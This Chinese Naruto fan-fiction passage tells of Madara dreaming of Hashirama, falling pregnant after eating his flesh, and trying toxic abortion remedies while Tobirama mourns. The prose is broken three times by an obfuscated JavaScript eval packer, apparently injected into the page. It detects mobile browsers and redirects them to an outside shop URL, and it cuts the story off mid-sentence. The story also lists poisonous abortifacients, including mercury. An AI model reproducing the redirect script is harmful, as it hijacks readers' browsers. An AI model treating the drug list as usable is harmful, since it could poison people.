《忍界修罗带球跑》 2. 第二章 斑清楚地知道自己在做梦。 宇智波是擅长幻术的一族,甚至某种程度上这个自遥远的六道时期流传下来的古老姓氏就是幻术的另一个代名词。身为宇智波族长一脉的斑从小就接受着相关的艰苦训练,而那双血色的写轮眼更是洞察堪破各种镜花水月的利器。 真实与梦幻,宇智波斑从来就分得很清楚。 也许全世界都可以一起沉溺于幸福美满的梦境,但宇智波斑是即使在这种情况下也会保持自己孤独的清醒那种人。 他向来意志坚强,视耽于黄粱美梦为软弱的表现。 然而斑在梦境边缘的黑暗与风雪中驻足了片刻,还是踏着烈日与蝉鸣,走进那一片绿意盎然的森林之梦中。 只这一次,斑对自己说。 这个被世俗抛弃也决定抛弃世俗的修罗恶徒,在走向最终的孤独的荆棘之道前,放任了自己最后一点的私情。 他记得这是在木叶创立之初的那段时光。 那时候因为是忍村制度的草创期,之前从未有过如此规模的联盟成立,所以种种的规章条款都还未曾完全拟定,柱间作为影也依然可以自由出村——他要与斑到世界各地去捕捉尾兽。 千手与宇智波的联合给了忍界前所未有的震动,时代的巨轮隆隆碾过烽火纷飞的战国时代,奔向天下太平的未来。顺理成章的,忍村制度虽然前无古人,后者却前仆后继、层出不穷——不少国家相继涌现了与木叶制度类似的忍村。 在这个群雄并起、各霸一方之际,柱间对斑说:“我们去捉尾兽吧。” 他说这话的时候语气轻松极了,脸上甚至有着要与挚友共同出游的愉快神色,完全没有要面对所谓天灾般破坏力的尾兽的紧张。 天下人常说宇智波斑是世间少有的狂徒,可是很少有人知道,他的挚友,这个被称作忍者之神的男人其实本质是与宇智波斑同样的狂妄之徒。 这对表面上性格有着天壤之别的挚友有着其实同样宽广的胸襟气度,翻天覆地的强大力量,也共享着终结人间战火与仇恨的最狂妄理想。 斑与柱间是生来注定的宿敌,旗鼓相当的对手,也是最后放下武器、惺惺相惜的挚友。 他们共同引领着时代的潮流,誓要熄灭人间绵延的战火,在通往和平的道路中并肩同行。 面对着柱间的邀请,斑从心脏里涌出滚热的血。 “好。” 他答应着。 这就是那个时候。 宇智波斑走进蓊蔚洇润的浓绿青翠里,走进他与柱间梦想成真、最可怀念的黄金时光。 林深草绿的森林,宇智波斑劈开挡路的藤蔓与枝叶,笔直地向着记忆的深处走去。 沿着碎玉般飞溅的泉流瀑布,穿过丛生的杂草蓬蒿,绕过遮天蔽日的参天古树,一座有着浓厚森林气息的小木屋突然出现在了眼前。 木屋是和式的,外侧筑有木质回廊,藤蔓爬上墙壁,开出一咕嘟一咕嘟粉白的小花,使得小木屋外表与周围的环境和谐地融为一体,理直气壮地存在于此地。虽然只要仔细一想就会发现不对劲——这样偏僻的荒山野岭,怎么会有人类在此居住呢? 事实上这座小木屋的确没人居住,它出现在这里的唯一理由是柱间与斑在追逐尾兽的途中要在此地暂时的休憩。 尽管那时候斑对于这样奢侈的行为多少有点无语——身为忍者,任务途中所谓的休息大多是寻个安全的隐秘之地随便解决一下吃喝睡眠等生理问题就行。 奈何柱间兴致勃勃的,那样一团孩子气的天真快乐,斑看了实在不忍心出言反驳,随他去了。 左右这趟收集尾兽之行也算是他们二人难得的旅游了,适当的放松些也未尝不可,斑宽容地想。 面对柱间,他总是宽容的。 于是柱间双手合十,轰隆的响声与袅袅的烟雾中缓缓的出现了这座木遁的造物。 但柱间还不肯满足,又精心地给木屋设计了装饰的藤蔓与花朵,然而看来看去仍然叽叽咕咕的不满意,放下身后背着的巨大卷轴,打算从里面找出些杂七杂八的小玩意儿装饰—— “可以了柱间,”斑出声制止,“这样就很好了。我们只是在此地暂时的歇脚,况且行了这么久的路,你也累了,先这样休息吧。” “我不累,”柱间眨了眨眼,信誓旦旦的,“真的!” 斑默默地看着他。 森林树冠漏下几缕日光一跃一跃地映照在眼前人蜜色肌肤涔涔的汗珠上,忍者之神整个人像是被浸泡在了夏日粼粼的水光之中,在那树冠的叶间罅隙漏下的金色日光下闪闪发亮着。 注意到斑不信任的打量目光,柱间讪讪地抹了一把脸上的汗水:“这是因为天气太热了嘛,真奇怪,这样热的天气,斑竟然也不怎么出汗。” 宇智波精于火遁,尤其擅长操控各种烈焰的宇智波斑很小的时候便习惯了火焰的温度,并不怎么畏惧高温。 斑懒得解释这一点,只是将一团柔软的毛巾随手递给柱间:“天气的确很热,所以我说——你该休息了。” 其实斑有点疑惑:宇智波已经算得上是比较讲究的忍族了,但任务途中也习惯了各种艰苦的环境,难道千手不是吗?即使千手真的有这样磨磨唧唧的毛病,柱间也绝非那等娇生惯养的忍者,为什么这次却无法容忍环境的不足? 柱间接住毛巾,揾在脸上,嘟嘟囔囔:“这可是我与斑第一次作为同行者出任务诶!从前我们都是作为敌人对立……有些兴奋过头了嘛。” 揾净了脸,毛巾放下时只见他弯着的黑色的眼睛映出森林饱满阔朗的勃勃生气,“所以忍不住总想要把一切都做到最好。” 也想把最好的献给斑。 柱间没有将这句话直白的说出口,只是露出幼稚得近乎傻气的大笑,洁白整齐的齿列在阳光下亮了一亮,斑注视着他的笑容,自己也不自觉的微微笑了起来。 “关键的是我有能力这样做,所以为什么不呢?” 初代目火影得意洋洋起来的样子像极了多年前那个在南贺川打水漂的少年。 柱间。 宇智波斑结束回忆,心底默默念着挚友的名字,并不知道自己此时是难得微笑的。 他随意地盘腿坐在了小屋外侧的木质回廊上,廊檐在回廊上投下一片清凉的阴影,斑坐在那清凉的阴影里,视线遥遥投向远处灿烂的艳阳与葳蕤的林木。 记忆中,柱间这时候说是热得实在受不了,加上又出了那么多汗,于是出去到附近溪流冲了个澡,还十分热情地邀请斑同去——斑当然没答应,于是柱间最后只好失望地自己一个人去了。 宇智波斑长久地凝望着林中阳光洒落的方向:柱间该回来了。 于是,青翠的枝叶窸窣地晃动,带动着斑驳的金色光斑也窸窣地晃动,然后他所等待着的那人从那窸窣的深绿碎金中走了出来。 柱间大概是嫌热,所以洗完澡后也没有规矩地穿上衣,那若草色的短打被松松地系在腰间,露出他匀称健美的蜜色肉、体,颇有些落拓不羁的英俊。 到木屋前的有一段路是没有林木遮蔽的,于是赤、裸着上身的柱间就这样一整个地沐浴在了夏日金色的光芒下,那充满着力与美的强健肉、身在灿阳下行走中愈发显现出那线条分明的肌肉,斑知道这样遒美健硕的肉、体下蕴藏着多么可怖的力量。 是的,他深深的知道,因为他们是自年少起便在战场上刀剑相向的对手。 斑肆无忌惮的用一种极具侵略性的目光深深地凝望柱间。 真正的现实里,这样赤、裸直白的打量肯定是极不尊重的,但——这是在自己的梦里,不是吗? 现实中的千手柱间属于家族,属于木叶,属于初代目火影千千万万的追随者。那么就让他在这个梦境里短暂的独自拥有这个男人,从这个自己唯一认可的对手身上汲取最后一点温柔的情谊。 只要一点点就好,足以支撑他走过理想征途中那漫漫孤寂的岁月。 宇智波斑注视着梦中向他走来的柱间。 不少人曾说千手家族长一脉里,唯有白发红眸的千手扉间是难得的美男子,然而斑深深地鄙薄这一点,他一点不觉得那样苍白冷冰冰的,仿佛见不得阳光的死人脸白化病人好看在哪里。 世人的眼光是如此的粗俗浅薄,竟然看不见千手柱间才是那个真正英俊的男人——尤其他这样坦诚大方地行走于灿烂光明之中的时候,耀目宛如人间的天神。 天神带着残留的溪流清泉的纯净味道与夏日肉、体微微的热气坐在了他旁边,然后像献宝一样从卷轴变出带着清凉水珠儿的西瓜。 “斑,这是我刚刚在溪边冰好的西瓜,你尝尝——” 雪亮的刀光滑过,轻微的咔嚓一声,西瓜被剖开,露出鲜红的肉瓤,溢出清甜的凉气。 西瓜有着柱间查克拉的气息。柱间本人还在叽叽喳喳地讲述着他是临走前顺了一把扉间实验室里培育的种子,这是新品种的西瓜,味道非常之甜美—— “但我是用木遁查克拉强行催熟的,不知道会不会影响西瓜的口感呢?” 柱间有些担忧地挠了挠头。 斑张口咬下去。 何止会影响口感呢。 并非记忆中那个追捕尾兽的夏日甜美多汁的味道,在这个梦境里,柱间查克拉所催生的西瓜在斑的唇齿间化作柱间血肉的味道——啊,没错,就是终结谷之战中他从柱间咬噬下血肉时所品尝到的味道。 味道怎么样呢?柱间目光殷殷切切地看着他。 斑咀嚼着带有眼前挚友血肉气息的西瓜,熟透了的红艳瓜瓤与黑色的籽粒在口腔里变作腥甜黏腻的铁锈——异样的荒诞之感涌上斑的心头。 他此生唯一承认的对手与挚友正坐在他身旁,赤子般纯净的黑眼睛温柔地凝望着他,笑吟吟地问正在咀嚼他血肉的宇智波斑味道如何。 这样的场景多少有点阴冷诡异,虽然此时的背景是温暖灿烂的阳光与生气勃勃的森林。 然而斑只是看着柱间,面不改色地吞咽下去。 “不错。”斑回答,脸上是奇异的微笑。 “啊呀,”柱间大呼小叫,“你把西瓜籽也一起吃下去了!” 斑无所谓地耸肩:“那又如何?” “不能将种子吃进肚子里去,”柱间严肃着脸,用哄小孩的温柔语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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木遁细胞没能杀死宇智波斑。 但是成功了吗?斑也不清楚。 他能感觉,属于挚友的血肉在渐渐的与他融合,然而具体的效果仍然需要时间来验证。 所幸,在终结谷一战假死后,宇智波斑如今完全是毫无牵挂的自由,有足够的时间来观察。 一个月,两个月,三个月…… 宇智波斑等待着。 他能感知到木遁的力量在体内增长,按理来说,他的身体也应当如仙人体般逐渐健康壮硕起来,然而斑近来身体的不适却与日俱增。 腰背酸痛,强烈的恶心感,呕吐,疲倦,眩晕,易怒,斑甚至搞不懂自己的口味了——宇智波通常喜吃甜食,然而他平日里最爱的豆皮寿司却再也无法引起他的食欲,相反,他开始对各种奇怪的、放在从前他都不会多看一眼的酸与辣味食物感兴趣了。 在剧烈的呕吐期过去后,斑的食欲开始大增——而且许多食物是他从前根本不爱吃的。 对于这种奇怪的现象,宇智波斑翻阅了许多藏书,其中有一本这样记载:如果某人突然特别强烈地想吃某些食物,也许是因为身体缺乏某种营养物质,向大脑发出的强烈讯号。 斑若有所思。 大概是他近来与木遁细胞的磨合耗费了太多能量,而且呕吐感强烈的时候也没怎么好好吃饭,所以身体严重缺乏营养了吧。 作为强大的忍者,身体的保养也是非常重要的。 毕竟身体是革命的本钱,别到时候因为营养不良耽误了开轮回眼,最后月之眼计划就此功亏一篑。 因此,宇智波斑不得不暂时地离开物资匮乏、食物更匮乏的地洞,前往贸易繁荣的平民村庄购置了一间住所,用幻术伪装成普通人,每日到街上不同的食肆大快朵颐,以此补充营养——也许正是这样,营养补过了头,他的小腹积攒了过多的脂肪,腹肌消失不说,竟然隆出了微微的圆润弧度。 威名可止三岁小儿夜啼的忍界修罗不肯相信自己竟然堕落到这种地步。 然而无论他信与不信,隆起的小腹都无情的、客观的存在着。 于是斑加大了日常训练的力度,力图重回之前腹肌健美的状态。 但那隆起的小肚子却愈来愈圆润,斑也成功将自己作到了不得不看医生的地步。 戴着老花眼镜、在小镇颇有声望的名医面色凝重地注视着眼前的男人。 名医疑惑,名医百思不得其解,名医放弃思考。 他脸上精彩纷繁的变化令宇智波斑正色起来:难道自己得了罕见的、难以治疗的怪病? 沉默良久,这位曾游历天下、见多识广医生神色露出极为严肃的表情。 “小伙子,你已经有了四个多月的肚子了,要注意身体——不要再过多的剧烈运动了。” 斑在刹那间怀疑自己的耳朵也出现问题了。 “你说什么?” 面对疑似马上就要无理取闹的狂暴病人,这位历经世故、经验丰富的名医取下老花眼镜,深深地叹气。 “我说——” 他加大音量,引得后面排队的人纷纷伸长脖颈看热闹。 然后斑清楚地听到了这位所谓名医极其荒谬的诊断。 “你怀孕了。” 3. 第三章 没有太阳,是阴晴欲雨的养花天。 漫天的暗沉云翳,总使人疑心里面积蓄着一场狂暴的寒凉秋雨,然而一整个提心吊胆的白天过去了,雨没有下,只有乌云铺天盖地沉甸甸压在上空。 千手扉间不喜欢这样的天气。 要么,碧空如洗风和日丽,要么干脆痛痛快快地下一场大雨,这样阴晴不定风雨欲来的天色使人心情总是不那么痛快。 “已经开始刮风了,看来这雨选择在夜晚下——这不是很好吗,一点也不耽误白日里大家正常的工作。” 初代目火影凝望着已经完全暗沉下来的天空自言自语道。 刚下班的千手扉间闻言蹙着眉毛斜睨了柱间一眼,一时间他不能确定兄长是否话中有话。 自从宇智波斑去世后,柱间除了那夜做了场噩梦外似乎没有别的激烈表示。他身上的伤病虽然一直不好,随时处于恶化的边缘,但精神倒是看上去倒还算正常,没有崩溃,也能处理一些文书工作,大概是没什么问题的——至少经常来探望火影的大家都这样一致认为。 至于柱间自己的真实感受—— 所有人只能看见白日里一切正常的初代目火影,没有人能真正走进属于千手柱间的夜晚,包括身为火影亲兄弟的千手扉间。 扉间惯例的谨慎问道:“兄长,你今天好些了吗?” “我很好。”初代目火影也一如既往的回答。 一切都很正常的样子,然而这恰恰是最不正常的。 扉间烦躁地将眉毛蹙得更深了一点,他甚至有点怀念从前动不动就陷入消沉的兄长了。 扉间微不可察地叹息,拉开椅子坐下,准备如往常般与柱间一起用餐,不经意地瞥到角落的餐盘放着一碟已经吃得差不多了、只剩碧绿瓜皮的西瓜。 今天大哥的胃口似乎要好一点了……等等,现在的季节可不是木叶生产西瓜的时候—— 很快想清楚其中关窍的千手扉间生起些怒气:“兄长,你现在的身体还不能随便动用木遁!而且西瓜属于寒凉之物,现在这个季节吃这么多,会增加身体的负担,不利于你恢复!” 听着扉间的训斥,初代目火影垂下眼,陷入回忆般喃喃地说:“我知道。但不知道为什么,突然之间就是很想吃,就好像回到了那年的夏天……虽然,已经回不去了。”他回过神,朝扉间轻轻的点一点头,“放心吧,我的身体还不至于那么脆弱,就让我稍微地任性一下吧,扉间。” 千手扉间别过脸去。 他何尝不知道这只是一件小得不能再小的事情,放在从前根本没人会管忍者之神用木遁干了什么奇奇怪怪的事情,也没人管柱间到底吃了什么稀奇古怪的东西,扉间甚至能一脸冷笑地看着愚蠢的兄长兴致勃勃地采了鲜艳的毒蘑菇啊呜就是一口——那时候,千手柱间是世间绝无仅有的木遁使,有着恢复力强悍的肉身,有着仿佛无论怎么作都不会死的仙人体。 宇智波斑,这个怙恶不悛、无法无天的恶徒,将生命力旺盛、恢复了强悍的忍者之神磨折成眼前这样形容憔悴、气息奄奄的病人,千手扉间实在是恨毒了他。 “我没有扉间你想得那样脆弱,”似乎能看穿他的想法,千手柱间脸上浮起一个似有若无的微笑,“关于斑的禁令,你也完全可以解除掉。” 扉间并不奇怪柱间能猜到这一点:他严令禁止所有人在柱间面前提到那个男人的名字,哪怕柱间主动提起,也一定要岔开话题。 他不赞同地摇头:“兄长,你的身体情况我很清楚,就算你这样说……” “就算你们不在我的面前提他的名字,我也是会常常想到他的。”柱间淡淡的说。 扉间顿时一噎。 然而,他阴沉了脸,没有言语的随便塞了几口饭菜吃进肚子,收拾碗碟的时候扉间突然以一种前所未有的强硬口吻对柱间说:“我不会解除那个禁令,大哥,你最好也不要再想了。无论你现在怎样的感到痛苦,只要健康的、长久的活下去,时间会抹平一切,最终会使你遗忘他。” 初代目神色晦暗:“不,你不明白。” “我比你要明白得多,”白发的千手没发现自己的口吻骤然变得异常冷酷,仿佛创伤后的一种过度反应,“会忘掉的,”他加重语气重复了一遍,更像是在说服自己,“你一定会忘掉的。” * 夜里果然下起了大雨。 千手扉间被沉闷的响雷惊醒,他甚至不用眼睛去看,手已经熟能生巧地精准摸到放在一旁的水杯。 这个习惯他久已有之——多少次午夜梦回他从噩梦中醒来,汗涔涔的心有余悸中他无数次在确认那人已经去世后长舒一气,带着一种创伤后的落寞余韵起身喝水,长夜寂寞得只有自己空洞的吞咽水声。 傍晚时与兄长的对话又浮现在他脑海。 千手扉间仍然坚信自己的话是正确的。 兄长以为他不明白那种感觉。 其实他比柱间要更早地品尝到那种滋味。 按理来说,那场他与宿敌最终的战争里,扉间是胜利者,他理应带着胜利者的优裕以或怀念或不屑的口吻谈论这曾经的对手。然而,然而扉间仍然怀着一种自己也不明白的创伤的感情,连听见对方的姓名都会有应激的痛苦,觉得对方的名字乃至姓氏都带有宛如诅咒般的命运,于他如同跗骨之疽,那人从此成了他讳莫如深的禁忌。 宇智波。 千手扉间憎恶地吐出这个姓氏。 这一族的人爱与恨都异常激烈,连带着不幸沾染上这一族的人也都跟着他们一起精神失常。 时间是治愈痛苦的良药,它有着遗忘这一强大力量,能够淡化掉人类一切激烈的爱恨。 扉间坚信这一点,也决心将这一点贯彻到底。 然而柱间显然并不赞同他这一点。 第二天,陷入身体恶化带来的昏迷醒来后,柱间对着急匆匆赶来探视的扉间正色道:“扉间,我有一件事要拜托你。” 他严肃的神情带动得扉间紧张起来:“什么?” “在我与斑最后战斗过的地方,建两座我与他的雕像吧。” “兄长……” “这是属于我个人的请求,”柱间也许是想要微笑,但扯起嘴角时却骤然陷入了一阵急促咳嗽,病痛使得忍者之神失去了从前的勃勃生气,整个人仿佛随时凋零的枯叶,“别担心扉间,现在木叶仍需要初代目火影的存在,我还不能死去——不过在此之前,让我再任性一下吧。” 柱间痛苦地喘着气,唇间溢出压抑的咳嗽,但仍然在缓过来的间隙坚持说道:“我不要忘记他……咳,如果连我都忘记了,所有、所有人都会忘记,历史也会忘记,忘记木叶本来是我与他共同的理想咳……” 忍者之神羸弱苍白地躺在病床上,稍微一点动作都十分吃力,换做从前的扉间根本不能想象一天到晚精力十足的柱间如此虚弱的模样。 面对兄长的恳求,扉间沉默良久,终于开口:“那兄长你也要答应我,作为火影,你要长久地活下去。” 柱间微微笑了,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“他们并没有要僭越的意思,只是九尾的问题的确已经刻不容缓了,而且……也只是想让你得到幸福罢了,”扉间低低地解释说,“兄长你也早已到了成婚的年纪了,他们本来就希望能够留下木遁使的血脉,留下一个孩子。” 柱间没有说话。 扉间发现他已经闭上眼睡着了,不管是真的还是假的睡了,扉间都没有打算叫醒他。 留下一个……孩子。 扉间想起那些千手那些长老的话。 人一旦有了孩子就有了舍弃不下的牵绊,就连死,也还死得牵肠挂肚。 说不定柱间会因为有着自己血脉的新生命而努力多活几年呢——这些成了精的长老们其实很清楚柱间真正的病灶不在于肉、体。 然而兄长真的结婚生子,果真就会如长老们所设想的那样美好吗? 千手扉间并没有结过婚,甚至以后也没有一点要结婚的念头。他,兄长,以及宇智波两兄弟都没有结婚……泉奈死去的时候只有二十四岁,很年轻,但这个年纪的男人在战国时期足以成为好几个孩子的父亲了。 但不知为什么,宇智波泉奈没有结婚,他们都没有结婚。 纯正的单身主义人士扉间努力地尝试着想了一下,假如说宇智波斑结婚了,也有自己的孩子了,他就会为了孩子而不那么冲动地带着九尾袭击木叶了吗? 然而,宇智波斑会有孩子这个古怪的念头令扉间起了一身的鸡皮疙瘩。 那个修罗一样的男人绝不可能会有孩子的,他也根本不会因为孩子而停止他前进的道路。 千手扉间笃定地想。 还是想想如果兄长有孩子了会怎么样吧? 当然,此时的千手扉间怎么也想不到,他认定了绝不可能会有孩子的修罗恶徒宇智波斑不仅即将有孩子,而且此时还正亲自怀着他与千手长老们心心念念、翘首以盼的,他的兄长千手柱间的孩子。 4. 第四章 “你怀孕了。” 对于这个荒谬的结论,宇智波斑的反应是:呵,庸医! 面对拂袖而去的病人,老医生摇头,叹气:嗐,孕夫! 起初,宇智波斑完全没把这位医生的诊断当回事。 原因也显而易见:首先,他是人类雄性,一个没长子宫更没有孕育功能的性别;其次,他没有进行过任何可能会导致新生命诞生的夜间娱乐活动;最后,他是宇智波斑,忍界修罗,一个名字代表着力量和战争的男人——你告诉他这样酷炫狂霸拽的宇智波前族长现在肚子里正揣着一个人类幼崽? 呵呵。 做出这样荒谬诊断的医生定然年老昏聩,一定是仗着那副深受患者信赖、和蔼可亲的秃瓢老医生长相硬吹出来的名医吧。 哼,不及他的挚友柱间一根毫毛。 尤其后来这位名为道山博的名医接下来借着去外地行医的名头在镇上消失了一段时间,更是令斑坚定了自己的想法:这老骗子大概是在这里做不下去了,所以换个地继续行骗去了。 然而骗子医生虽然走了,斑的身体问题却并没有得到解决。 当然也去看过别的医生。然而那些医生要么用一副怀疑人生的表情告诉斑他孤陋寡闻才疏学浅,恕不能判断出斑到底身患何种怪疾;要么就有那种不学无术的沙雕一口咬定斑女扮男装还不承认一定是对手故意派来戏耍他们的;更过分的还有拉着斑的手长吁短叹,说现在世道确实艰难你一个……唉,也不容易!随即露出一副我什么都知道但是会帮你保密不说的意味深长表情给他开药,然后斑拿走回去仔细一看:安胎药。 有病吧这些傻逼。 本来斑近段时间来就心情不佳,情绪起伏大,如今更是被这群人类奇葩医生大全气得头疼。 果然,这个世界上像柱间那样有着妙手回春的高超医术、又兼具悬壶济世的高尚道德的医生是千载稀逢的存在。 不知道是不是听多了这些莫名其妙的半吊子医生各种“你揣崽了”的心理暗示,斑有一次将手无意地按在腹中那块微妙凸起的部分,竟然能感到肚子里轻轻地动了一下,像是有蜷缩着的婴儿在里面舒展小小的手脚—— 不可能,绝对不可能! 斑被自己脑海中突然冒出的惊悚画面吓了一跳,但很快地镇定下来,自己得出结论:也许天气转凉受寒、吃了不洁的食物或者在融合木遁细胞的时候免疫力下降肠道菌群失调……总之是患了轻微胃肠炎导致的肠蠕动,之前的那些恶心呕吐估计也是胃肠炎导致的。 大概是这样的,总之比怀疑他性别为女或是男人怀孕这些神经诊断要靠谱吧? 他以前有见过族人得过胃肠炎这种病,严重得上吐下泻行动困难的当然要接受很长一段时间的专业治疗。但一般来说,患者充分的休息、清淡而营养丰富的饮食、戒烟戒酒以及避免剧烈运动就差不多可以了,至于剩下的部分,就交给忍者不科学的身体素质吧! ——虽然病情判断完全错误,然而最后采取的治疗方法却意外的很正确呢斑。 总之,宇智波斑不再仗着自己强悍的忍者身体素质为所欲为,一心一意地调养着身体,空闲时间顺便研究着手里剩下的木遁细胞,同时观察着自己身体的变化:最初的恶心与呕吐完全消失了,食欲依旧不减甚至愈来愈旺盛的趋势,而且斑虽然以一个优秀忍者的自制力严格控制着自己日常只食用清淡的饮食,却止不住内心极其迷恋那些重口味的美食,甚至能想得晚上翻来覆去睡不着觉,情绪极度低落——说来奇怪,近段时间,斑的情绪起伏大到自己也无法理解。 有时候甚至会无缘无故落泪——简直莫名其妙,斑还以为自胞弟泉奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128175|149935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去世后自己便已经流干了这一生最后的眼泪,还是说,他什么时候变得这样的软弱了? 这样想着,宇智波斑烦躁地站起身,然后不幸发现——腿部抽筋了。 啧。 屋漏偏逢连夜雨。 虽然宇智波斑固执地不肯相信会有男人怀孕这样匪夷所思的离奇事件——特别是这个离奇的怀孕对象竟然是自己,但面对一日大过一日的肚子,以及他将手放上去时感受到的愈发清晰的胎动,使得斑再也无法用肠蠕动之类的借口欺骗自己,最后这位名震天下的忍界修罗不得不痛苦的承认事实: 他,宇智波斑,一个男人,怀孕了。 这个黑暗的世道,这个负心的忍界。 在痛苦地接受了现实的那个晚上,斑开始着手调查自己怀孕的原因。 首先可以肯定他怀孕并不是由正常的性、行为引起的,他没有做过,退一万步说就算做过他又失忆忘了最后怀孕的也不该是他。其次跟忍者啊宇智波啊这类的特殊体质也没什么关系——毕竟就算是在平民眼中有着无所不能的各种神奇忍术的忍者们,也都仍然和普通人一样是由女人怀孕,生下孩子。最后,结合怀孕的时间线来推算,那段时间他做过最可疑的事情就是带着九尾袭村,然后咬了挚友柱间一口—— 想到这里,宇智波斑的表情变得奇怪起来。 难道说,柱间的肉竟然有令男人怀孕此等骇人听闻的效果? ……不愧是他身为忍者之神的挚友,其血肉竟然能使男人怀孕,柱间细胞恐怖如斯! 尽管斑在心里又把挚友柱间狠狠地夸了一遍,但与此同时,这一点也不妨碍斑望着快要亮起的天色,盘算着还有多久药铺才能开门—— 他得打掉这个意料之外的孩子。 冷静下来认清现实的宇智波斑冷酷地计划着。 5. 第五章 微雨的黄昏,轻飘绵密的雨丝里朦胧的显现出绚烂的金茶色与惆怅的山吹色模糊而成的瑰丽怅惘的霞光。 背着红木药箱的老医师撑着一柄沉重的番伞行走在这样微雨的黄昏里,通往附近城镇的乡间土路难免有些微的泥泞,他要很小心才能避免裤腿上不粘上泥点子。 老医师一心注意着脚下的泥泞,偶一抬头,忽然望见如此瑰艳璀璨的天空,望见在逢魔时刻的黄昏里太阳与月亮在高空中同辉。 他不能不驻足观赏这美丽辉煌的一幕。 但日月同辉的逢魔之时虽然辉煌灿烂,却也如烟花般转瞬即逝。 夜色侵染,霞光消逝,天空孤僻的一弯弦月也愈发清冷高远,不可触碰。 老医师道山博凝望着远处山头夕阳那最后一点将被吞没的瑰丽轮廓,不知怎的,又回想起了这次外出行医所诊治的那一个病人。 尽管无数的人们为此殚精竭虑,苦苦挽留,然而一切都于事无补—— 太阳终究要落下了。 老医师叹了口气,沿着前方通往月亮方向的乡间小道继续走下去。 潮湿的空气里飘来一点幽微的药香。 “归尾、桃仁、红花、丹皮、大黄……多为活血祛瘀之药,然而这样的一起组合着,”老医师停在一户人家门口,职业病发的他仔细分辨着门口泼溅出来的那一点药渣汤,神色沉凝,“原来这是副用来堕胎的药方。” 说着,老医师自顾自地摇头:“开药的医师性情还是太温和仁慈了,只用了些刺激之物,遇上先天强健的胎儿根本堕不下来。” 如果说这药是开给那些深宫之中,被层层叠叠华丽厚重的十二单压得苍白柔弱的贵族女子倒还说得过去。 由于贵族礼仪对女子的严格要求,贵族女性普遍运动少吃得也极少,还为了符合世人对于美的苛刻标准而常年敷着厚厚的白粉——那些白粉多半含有白铅与水银,经常涂抹会慢性中毒——这种情况下活血散瘀的堕胎药倒极有可能将本就孱弱的胎儿给流下来。 显然眼前这户人家并不是那等深院高墙的贵族之家,那样温和的堕胎药不一定能顺利堕下强壮的胎儿,但药性的刺激依然会让怀着孩子的孕妇极为难受。 道山博看着面前青瓦灰墙的屋敷,沉吟片刻,还是决定敲了敲门。 吱嘎一声,苦涩药香从屋敷内扑出来,门打开了。 “是你?” 有点熟悉的低沉嗓音,老医师注视了好一会屋敷主人那苍白的面庞才想起来。 是当初那个他所诊断出来的,怀着孩子的男人。 奇也怪哉,这个病例明明极其罕见,富有特色,自己的记忆力也一向出色,怎么过去这段时间里竟然丝毫没能想起这位特殊的孕夫? 屋敷主人眯着眼觑了他一下。 老医师恍惚了一瞬。 受到屋敷主人邀请,老医师进入屋内,跨过门槛时,听见自己的骨骼与那木门一样发出轻微咔嚓响动。 唉,也许是因为自己近来也老了,身体不那么中用了,所以就连曾经引以为傲的记忆力也有所衰退了。 老医师心头升起的那一点异样的疑惑之情消失了,注意力很快被桌上拆开一角的药材包吸引了。 “马钱子,生南星,巴豆,蜈蚣,水蛭,麝香,水银……”老医师不赞同地深深皱着眉,如果说屋外那泼掉的药汤问题是太温和,那这一副药的问题就是实在太毒烈了,“竟然还有水银!简直胡闹,这堕胎方子纯粹就是想让孕妇中毒,把孕妇毒得奄奄一息了孩子自然就保不住,流了——但孕妇的身体说不定也彻底毁了!” 他转头叮嘱屋敷主人:“你可千万不能吃这药啊!” 怀着孕的男人没有回答,他面色痛苦地倚着墙壁,手扶着肚子,额头浮出涔涔虚汗。 他整个人简直和纸一样惨白,全身唯一的一点艳色是他咬破自己嘴唇所流出的血液。 “你竟然已经吃了这等烈性的堕胎药!” 老医师大惊失色,扶着男人进了里侧的房间,放他在榻上平躺着,从随身带着的红木药箱里取出几粒丸药喂男人吞下。 “你的身体就是再健壮些,也不能够这样的折腾,要知道现在你可怀着肚子呢!”老医师埋怨着,皱起银白的眉毛,“我问问你,你之前那副药吃了多少,这副又吃了多少?” 答案是,之前那副药一日吃三次,斑服用了一周,除了腹痛与虚弱,效果不佳;而这副药是他特意要求的药性最为猛烈的一种,不过也才刚刚吃了一副。 但也没能成功。 躺在榻榻米上的忍界修罗烦躁地想。 更要命的不是堕胎药带给他身体的疼痛不适,而是宇智波斑在此过程中发现自己意志的不坚定。 他每次喝药腹痛之时,总能感觉腹中幼儿在伸着手脚虚弱而痛苦地挣扎—— 孩子想要活下去。 这个什么都不懂的稚儿,蜷缩在他的身体里,惊惶瑟缩地挣扎着。 宇智波斑闭着眼睛,脑海不受控制地浮现出各种念头。 他腹中这个同时有着他与挚友血脉的孩子该是什么样的呢?会长得像他还是柱间?性格是像他还是柱间? ——希望最好不要继承到柱间那时不时消沉的坏毛病。 每当这样想着,斑冷酷的心就会泛起些微的柔软,但他立刻制止着自己这样荒谬的软弱想象。 太可笑了,他问自己:难道你真的想要生下这个孩子吗? 不要忘记,你之所以没有结婚成家不就是不想要妻儿的拖累,不想在实现和平的理想征途中被无谓的爱与牵挂绊住手脚。 不然,你早已成为了妻子的丈夫,孩子的父亲,有了在普通人眼中美满正常的家庭,过着令人感到安心的平凡人生—— 何必要像现在一样,明明是男人腹中却要怀着另一个男人的孩子,做出这样大着肚子、古怪而柔弱的姿态? 腹中传来孩子活泼的动静,小小的手似乎轻轻挠了下他的肚子,像是在同他顽皮地打着招呼。 